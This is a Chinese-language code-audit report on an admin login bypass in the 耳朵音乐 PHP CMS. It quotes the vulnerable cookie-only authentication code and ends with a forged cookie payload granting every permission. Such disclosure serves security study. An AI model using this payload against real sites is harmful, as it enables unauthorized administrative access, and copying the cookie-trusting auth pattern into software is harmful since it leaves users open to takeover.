耳朵音乐 纵向越权登录绕过

Report 代码审计

在文件admin.php第四行:

<?php
    $frames = array('login', 'index', 'body', 'config'....);
    $iframe = !empty($_GET['iframe']) && in_array($_GET['iframe'], $frames) ? $_GET['iframe'] : 'login';
    include_once 'source/admincp/module/'.$iframe.'.php';
?>

变量$iframe通过GET方式获取值,如果iframe的值不在数组frames里就定向到login.php。我们以config.php为例,传入参数将包含source/admincp/module/config.php文件,跟进该文件从第二行可以看到如下代码:

<?php
    if(!defined('IN_ROOT')){exit('Access denied');}
    Administrator(2);
    $action=SafeRequest("action","get");
?>

在source/admincp/include/function.php第三十九行定义了Administrator:

<?php
    function Administrator($value){
        if(empty($_COOKIE['in_adminid']) || empty($_COOKIE['in_adminexpire']) || $_COOKIE['in_adminexpire']!==md5($_COOKIE['in_adminid'].$_COOKIE['in_adminname'].$_COOKIE['in_adminpassword'].$_COOKIE['in_permission'])){
            ShowMessage("未登录或登录已过期,请重新登录管理中心!",$_SERVER['PHP_SELF'],"infotitle3",3000,0);
        }
        setcookie("in_adminexpire",$_COOKIE['in_adminexpire'],time()+1800);
        if(!empty($_COOKIE['in_permission'])){
            $array=explode(",",$_COOKIE['in_permission']);
            $adminlogined=false;
            for($i=0;$i<count($array);$i++){
                if($array[$i]==$value){$adminlogined=true;}
            }
            if(!$adminlogined){
                 ShowMessage("权限不够,无法进入此页面!","?iframe=body","infotitle3",3000,0);
            }
        }else{
            ShowMessage("帐号异常,请重新登录管理中心!",$_SERVER['PHP_SELF'],"infotitle3",3000,0);
        }
    }
?>

这段代码通过cookie验证登录用户信息,将in_adminid,in_adminname,in_adminpassword,in_permission拼接一起MD5后与in_adminexpire的值比较,左右两值相等就通过验证,再通过in_permision验证该用户是否有本页面权限。数组frames中的页面都没有通过数据库验证用户信息而且cookie可控,所以通过以下payload很容易绕过登录验证:

in_adminid=2;in_adminname=test;in_adminpassword=test;in_permission=1,2,3,4,5,6,7,8,9;in_adminexpire=b2e9b95b82be9264c3368b3f0de34f08